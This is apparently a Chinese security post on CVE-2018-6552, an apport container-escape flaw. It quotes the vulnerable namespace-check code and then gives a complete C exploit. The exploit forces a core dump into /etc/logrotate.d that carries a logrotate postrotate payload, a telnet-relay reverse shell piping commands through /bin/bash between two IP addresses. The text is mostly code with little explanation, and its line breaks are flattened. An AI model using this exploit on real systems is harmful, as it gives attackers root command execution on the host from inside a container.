【安全干货】DockerCVE-2018-6552

def is_same_ns(pid, ns):    if not os.path.exists('/proc/self/ns/%s' % ns) or             not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):        # If the namespace doesn't exist, then it's obviously shared        return True
    try:        if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):            # Check that the inode for both namespaces is the same            return True    except OSError as e:        if e.errno == errno.ENOENT:            return True        else:            raise
    return False

# Check if we received a valid global PID (kernel >= 3.12). If we do,# then compare it with the local PID. If they don't match, it's an# indication that the crash originated from another PID namespace.# Simply log an entry in the host error log and exit 0.if len(sys.argv) == 6:    host_pid = int(sys.argv[5])
    if not is_same_ns(host_pid, "pid") and not is_same_ns(host_pid, "mnt"):        # If the crash came from a container, don't attempt to handle        # locally as that would just result in wrong system information.
        # Instead, attempt to find apport inside the container and        # forward the process information there.        if not os.path.exists('/proc/%d/root/run/apport.socket' % host_pid):            error_log('host pid %s crashed in a container without apport support' %                      sys.argv[5])            sys.exit(0)[ ... ]
        sys.exit(0)    elif not is_same_ns(host_pid, "pid") and is_same_ns(host_pid, "mnt"):  #这里        # If it doesn't look like the crash originated from within a        # full container, then take the global pid and replace the local        # pid with it, then move on to normal handling.
        # This bit is needed because some software like the chrome        # sandbox will use container namespaces as a security measure but are        # still otherwise host processes. When that's the case, we need to keep        # handling those crashes locally using the global pid.        sys.argv[1] = str(host_pid)    elif not is_same_ns(host_pid, "mnt"):        error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)        sys.exit(0)

    elif not is_same_ns(host_pid, "mnt"):        error_log('host pid %s crashed in a separate mount namespace, ignoring' % host_pid)        sys.exit(0)    else:        # If it doesn't look like the crash originated from within a        # full container or if the is_same_ns() function fails open (returning        # True), then take the global pid and replace the local pid with it,        # then move on to normal handling.
        # This bit is needed because some software like the chrome        # sandbox will use container namespaces as a security measure but are        # still otherwise host processes. When that's the case, we need to keep        # handling those crashes locally using the global pid.        sys.argv[1] = str(host_pid)

def get_pid_info(pid):    '''Read /proc information about pid'''
    global pidstat, real_uid, real_gid, cwd
    # unhandled exceptions on missing or invalidly formatted files are okay    # here -- we want to know in the log file    pidstat = os.stat('/proc/%s/stat' % pid)
    # determine real UID of the target process; do *not* use the owner of    # /proc/pid/stat, as that will be root for setuid or unreadable programs!    # (this matters when suid_dumpable is enabled)    with open('/proc/%s/status' % pid) as f:        for line in f:            if line.startswith('Uid:'):                real_uid = int(line.split()[1])            elif line.startswith('Gid:'):                real_gid = int(line.split()[1])                break    assert real_uid is not None, 'failed to parse Uid'    assert real_gid is not None, 'failed to parse Gid'
    cwd = os.readlink('/proc/' + pid + '/cwd')

def write_user_coredump(pid, cwd, limit, from_report=None):    '''Write the core into the current directory if ulimit requests it.'''
    # three cases:    # limit == 0: do not write anything    # limit < 0: unlimited, write out everything    # limit nonzero: crashed process' core size ulimit in bytes
    if limit == 0:        return
    # don't write a core dump for suid/sgid/unreadable or otherwise    # protected executables, in accordance with core(5)    # (suid_dumpable==2 and core_pattern restrictions); when this happens,    # /proc/pid/stat is owned by root (or the user suid'ed to), but we already    # changed to the crashed process' real uid    assert pidstat, 'pidstat not initialized'    if pidstat.st_uid != os.getuid() or pidstat.st_gid != os.getgid():        error_log('disabling core dump for suid/sgid/unreadable executable')        return
    core_path = os.path.join(cwd, 'core')    try:        with open('/proc/sys/kernel/core_uses_pid') as f:            if f.read().strip() != '0':                core_path += '.' + str(pid)        core_file = os.open(core_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)    except (OSError, IOError):        return
    error_log('writing core dump to %s (limit: %s)' % (core_path, str(limit)))
    written = 0
    # Priming read    if from_report:        r = apport.Report()        r.load(from_report)        core_size = len(r['CoreDump'])        if limit > 0 and core_size > limit:            error_log('aborting core dump writing, size %i exceeds current limit' % core_size)            os.close(core_file)            os.unlink(core_path)            return        error_log('writing core dump %s of size %i' % (core_path, core_size))        os.write(core_file, r['CoreDump'])    else:        # read from stdin        block = os.read(0, 1048576)
        while True:            size = len(block)            if size == 0:                break            written += size            if limit > 0 and written > limit:                error_log('aborting core dump writing, size exceeds current limit %i' % limit)                os.close(core_file)                os.unlink(core_path)                return            if os.write(core_file, block) != size:                error_log('aborting core dump writing, could not write')                os.close(core_file)                os.unlink(core_path)                return            block = os.read(0, 1048576)
    os.close(core_file)    return core_path

def init_error_log():    '''Open a suitable error log if sys.stderr is not a tty.'''
    if not os.isatty(2):        log = os.environ.get('APPORT_LOG_FILE', '/var/log/apport.log')        try:            f = os.open(log, os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)            try:                admgid = grp.getgrnam('adm')[2]                os.chown(log, -1, admgid)                os.chmod(log, 0o640)            except KeyError:                pass  # if group adm doesn't exist, just leave it as root        except OSError:  # on a permission error, don't touch stderr            return        os.dup2(f, 1)        os.dup2(f, 2)        sys.stderr = os.fdopen(2, 'wb')        if sys.version_info.major >= 3:            sys.stderr = io.TextIOWrapper(sys.stderr)        sys.stdout = sys.stderr

def error_log(msg):    '''Output something to the error log.'''
    apport.error('apport (pid %s) %s: %s', os.getpid(), time.asctime(), msg)

def is_same_ns(pid, ns):    if not os.path.exists('/proc/self/ns/%s' % ns) or             not os.path.exists('/proc/%s/ns/%s' % (pid, ns)):        # If the namespace doesn't exist, then it's obviously shared        return True   #=======================这里
    try:        if os.readlink('/proc/%s/ns/%s' % (pid, ns)) == os.readlink('/proc/self/ns/%s' % ns):            # Check that the inode for both namespaces is the same            return True  #=====================这里    except OSError as e:        if e.errno == errno.ENOENT:            return True  #======================这里        else:            raise
    return False

int pid = fork();if (pid) {    /* kill the child process, after it stimulate the core dump */    usleep(2000);    kill(pid, SIGKILL);}else {    /* must stimulate the raise before kill */    raise(SIGQUIT);  //to make core}

#include <stdio.h>#include <signal.h>#include <stdlib.h>#include <unistd.h>#include <sys/wait.h>/*/var/log/cups/*log {        daily        missingok        rotate7        sharedscripts        postrotate                telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321        endscript}*/char payload[] = "n/var/log/cups/*log {n    dailyn    missingokn    rotate7n    sharedscriptsn    postrotaten        telnet 172.17.0.2 1234 | /bin/bash | telnet 192.168.56.246 4321n    endscriptn}n";void fork_bomb(int num){    int i;    for(i = 0; i < num; i++){        int pid = fork();        if (pid)        {            wait(NULL);        }    }}
int main(int argc, char const *argv[]){    chdir("/etc/logrotate.d");    int i;    for(i = 0; i < 5; i++){        fork_bomb(200);        int pid = fork();        if (pid) {            /* kill the child process, after it stimulate the core dump */            usleep(2000);            kill(pid, SIGKILL);        }        else {            /* must stimulate the raise before kill */            raise(SIGQUIT);  //to make core        }        usleep(1000*100);        puts("wait... maybe the core has already been generated :)");    }    return 0;}